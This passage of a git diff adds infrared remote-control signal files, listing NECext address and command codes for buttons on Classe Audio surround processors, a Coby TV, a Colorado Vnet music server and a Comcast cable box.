74 00 00 00 +command: AB 00 00 00 +# +name: ZONE_INPUT_4_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: AC 00 00 00 +# +name: ZONE_INPUT_4_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: AC 00 00 00 +# +name: ZONE_INPUT_5_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: AD 00 00 00 +# +name: ZONE_INPUT_5_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: AD 00 00 00 +# +name: ZONE_INPUT_6_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: AE 00 00 00 +# +name: ZONE_INPUT_6_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: AE 00 00 00 +# +name: ZONE_INPUT_7_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: AF 00 00 00 +# +name: ZONE_INPUT_7_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: AF 00 00 00 +# +name: ZONE_INPUT_8_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: B0 00 00 00 +# +name: ZONE_INPUT_8_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: B0 00 00 00 +# +name: ZONE_INPUT_9_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: B1 00 00 00 +# +name: ZONE_INPUT_9_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: B1 00 00 00 +# +name: ZONE_INPUT_10_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: B2 00 00 00 +# +name: ZONE_INPUT_10_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: B2 00 00 00 +# +name: LISTEN.POS.1_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: B9 00 00 00 +# +name: LISTEN.POS.1_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: B9 00 00 00 +# +name: LISTEN.POS.2_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: BA 00 00 00 +# +name: LISTEN.POS.2_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: BA 00 00 00 +# +name: LISTEN.POS.3_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: BB 00 00 00 +# +name: LISTEN.POS.3_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: BB 00 00 00 +# +name: LISTEN.POS.4_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: BC 00 00 00 +# +name: LISTEN.POS.4_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: BC 00 00 00 +# +name: MULTI_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: C1 00 00 00 +# +name: MULTI_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: C1 00 00 00 +# +name: MULTI+THX_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: C2 00 00 00 +# +name: MULTI+THX_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: C2 00 00 00 +# +name: DOLBY_PRO_LOGIC_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: C3 00 00 00 +# +name: DOLBY_PRO_LOGIE_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: C3 00 00 00 +# +name: DOLBY_PL+THX_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: C4 00 00 00 +# +name: DOLBY_PL+THX_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: C4 00 00 00 +# +name: MM_NAT_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: C6 00 00 00 +# +name: MM_NAT_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: C6 00 00 00 +# +name: MM_PARTY_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: C7 00 00 00 +# +name: MM_PARTY_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: C7 00 00 00 +# +name: MONO_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: CC 00 00 00 +# +name: MONO_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: CC 00 00 00 +# +name: MONO+THX_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: CD 00 00 00 +# +name: MONO+THX_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: CD 00 00 00 +# +name: SURR._6.1_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: CF 00 00 00 +# +name: SURR._6.1_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: CF 00 00 00 +# +name: STEREO_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: D0 00 00 00 +# +name: STEREO_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: D0 00 00 00 +# +name: STEREO+THX_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: D1 00 00 00 +# +name: STEREO+THX_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: D1 00 00 00 +# +name: DOLBY_PLII_MOVIE_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: D2 00 00 00 +# +name: DOLBY_PLII_MOVIE_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: D2 00 00 00 +# +name: DPLII_M+THX_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: D3 00 00 00 +# +name: DPLII_M+THX_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: D3 00 00 00 +# +name: DPLII_MUZ_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: D4 00 00 00 +# +name: DPLII_MUZ_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: D4 00 00 00 +# +name: DOLBY_DIGITAL_EX_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: E4 00 00 00 +# +name: DOLBY_DIGITAL_EX_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: E4 00 00 00 +# +name: THX_ULTRA_2_MUSIC_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: E5 00 00 00 +# +name: THX_ULTRA_2_MUSIC_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: E5 00 00 00 +# +name: THX_ULTRA_2_CIN_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: E6 00 00 00 +# +name: THX_ULTRA_2_CIN_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: E6 00 00 00 +# +name: THX_SURR_EX_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: E7 00 00 00 +# +name: THX_SURR_EX_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: E7 00 00 00 +# +name: DTS_NEO6_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: E8 00 00 00 +# +name: DTS_NEO6_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: E8 00 00 00 +# +name: DTS_NEO6+T_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: E9 00 00 00 +# +name: DTS_NEO6+T_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: E9 00 00 00 +# +name: DTS_NEO6_CIN_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: EA 00 00 00 +# +name: DTS_NEO6_CIN_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: EA 00 00 00 +# +name: D_NEO6_CIN+T_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: EB 00 00 00 +# +name: D_NEO6_CIN+T_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: EB 00 00 00 +# +name: DTS_NEO6_MUZ_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: EC 00 00 00 +# +name: DTS_NEO6_MUZ_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: EC 00 00 00 +# +name: DTS_MTX6_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: ED 00 00 00 +# +name: DTS_MTX6_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: ED 00 00 00 +# +name: DTS_MTX6+T_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: EE 00 00 00 +# +name: DTS_MTX6+T_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: EE 00 00 00 +# +name: STEREO_24/96_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: EF 00 00 00 +# +name: STEREO_24/96_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: EF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir new file mode 100644 index 000000000..9bb91c07e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_TOGGLE_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 0D 00 00 00 +# +name: VOL_UP_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 10 00 00 00 +# +name: VOL_UP_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 10 00 00 00 +# +name: VOL_DOWN_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 11 00 00 00 +# +name: VOL_DOWN_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 11 00 00 00 +# +name: F1_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 38 00 00 00 +# +name: F1_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 38 00 00 00 +# +name: F2_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 39 00 00 00 +# +name: F2_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 39 00 00 00 +# +name: F3_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 86 00 00 00 +# +name: F3_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 86 00 00 00 +# +name: F4_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 87 00 00 00 +# +name: F4_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 87 00 00 00 +# +name: MUTE_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 98 00 00 00 +# +name: MUTE_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 98 00 00 00 +# +name: UNMUTE_T0 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 99 00 00 00 +# +name: UNMUTE_T1 +type: parsed +protocol: NECext +address: C8 00 00 00 +command: 99 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir new file mode 100644 index 000000000..1c0a2ef51 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir @@ -0,0 +1,758 @@ +Filetype: IR signals file +Version: 1 +# +name: A.CAL_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: A.CAL_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: STANDBY_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: STANDBY_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: MUTE_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: SLEEP_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: SLEEP_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: DISPLAY_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: DISPLAY_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: DIM_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: DIM_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: DISP_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: DISP_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: VOL+_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: VOL+_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: VOL-_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: VOL-_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: AUD5_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: AUD5_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: AUD6_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 13 00 00 00 +# +name: AUD6_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 13 00 00 00 +# +name: AUD1_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 14 00 00 00 +# +name: AUD1_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 14 00 00 00 +# +name: AUD2_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 15 00 00 00 +# +name: AUD2_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 15 00 00 00 +# +name: AUD3_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 16 00 00 00 +# +name: AUD3_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 16 00 00 00 +# +name: AUD4_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 17 00 00 00 +# +name: AUD4_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 17 00 00 00 +# +name: EX_7.1_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 18 00 00 00 +# +name: EX_7.1_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 18 00 00 00 +# +name: TAPE_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1A 00 00 00 +# +name: TAPE_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1A 00 00 00 +# +name: PATH_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1C 00 00 00 +# +name: PATH_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1C 00 00 00 +# +name: RECALL_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1D 00 00 00 +# +name: RECALL_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1D 00 00 00 +# +name: MEMORY_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: MEMORY_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: STORE_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1F 00 00 00 +# +name: STORE_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1F 00 00 00 +# +name: MODE>_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: MODE>_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: MODE_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: MODE_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: MODE_R_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: MODE_R_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: MENU_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: MENU_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: UP_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 22 00 00 00 +# +name: UP_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 22 00 00 00 +# +name: LEFT_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 23 00 00 00 +# +name: LEFT_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 23 00 00 00 +# +name: RIGHT_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 24 00 00 00 +# +name: RIGHT_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 24 00 00 00 +# +name: MENU_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 24 00 00 00 +# +name: MENU_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 24 00 00 00 +# +name: DOWN_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 25 00 00 00 +# +name: DOWN_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 25 00 00 00 +# +name: ENTER_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 26 00 00 00 +# +name: ENTER_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 26 00 00 00 +# +name: CANCEL_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 27 00 00 00 +# +name: CANCEL_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 27 00 00 00 +# +name: VIDEO_L_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 27 00 00 00 +# +name: VIDEO_L_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 27 00 00 00 +# +name: VIDEO_R_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 28 00 00 00 +# +name: VIDEO_R_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 28 00 00 00 +# +name: AUDIO_L_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 29 00 00 00 +# +name: AUDIO_L_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 29 00 00 00 +# +name: AUDIO_R_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2A 00 00 00 +# +name: AUDIO_R_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2A 00 00 00 +# +name: LEFT_FRONT_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2C 00 00 00 +# +name: LEFT_FRONT_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2C 00 00 00 +# +name: RIGHT_FRONT_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2D 00 00 00 +# +name: RIGHT_FRONT_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2D 00 00 00 +# +name: L_SURR_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2E 00 00 00 +# +name: L_SURR_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2E 00 00 00 +# +name: R_SURR_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2F 00 00 00 +# +name: R_SURR_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2F 00 00 00 +# +name: AV1_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 30 00 00 00 +# +name: AV1_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 30 00 00 00 +# +name: AV2_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 31 00 00 00 +# +name: AV2_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 31 00 00 00 +# +name: AV3_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 32 00 00 00 +# +name: AV3_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 32 00 00 00 +# +name: AV4_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 33 00 00 00 +# +name: AV4_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 33 00 00 00 +# +name: AV5_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 34 00 00 00 +# +name: AV5_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 34 00 00 00 +# +name: AV6_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 35 00 00 00 +# +name: AV6_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 35 00 00 00 +# +name: SUB+_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 36 00 00 00 +# +name: SUB+_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 36 00 00 00 +# +name: TRIM+_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 36 00 00 00 +# +name: TRIM+_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 36 00 00 00 +# +name: ZONE_T0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 37 00 00 00 +# +name: ZONE_T1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: CHAP< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: FWW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Coby/TV/0,127.ir b/assets/resources/infrared/_CSV-IRDB_/Coby/TV/0,127.ir new file mode 100644 index 000000000..251d88342 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Coby/TV/0,127.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 02 00 00 00 +# +name: -/-- +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 03 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 06 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 07 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0A 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0F 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 12 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 13 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 16 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 17 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1A 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1B 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 4C 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 4D 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 4E 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 4F 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 50 00 00 00 +# +name: CH_LIST +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 51 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 52 00 00 00 +# +name: P-MODE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 53 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 54 00 00 00 +# +name: C.C. +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 55 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 56 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 57 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 58 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 59 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 5A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 5B 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 5C 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 5D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 5E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir b/assets/resources/infrared/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir new file mode 100644 index 000000000..32df1ff37 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 07 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 09 00 00 00 +# +name: PAGE_CHAPTER_+ +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 0B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 0C 00 00 00 +# +name: LIST_COVERS_<> +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 0D 00 00 00 +# +name: PAGE_CHAPTER_- +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 0E 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 0F 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 10 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 11 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 12 00 00 00 +# +name: FFORWARD +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 14 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 18 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 26 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 6E 92 00 00 +command: 41 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir new file mode 100644 index 000000000..a097af857 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir @@ -0,0 +1,536 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: ON_DEMAND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: ON_DEMAND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: PPV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: PPV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: PPV_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 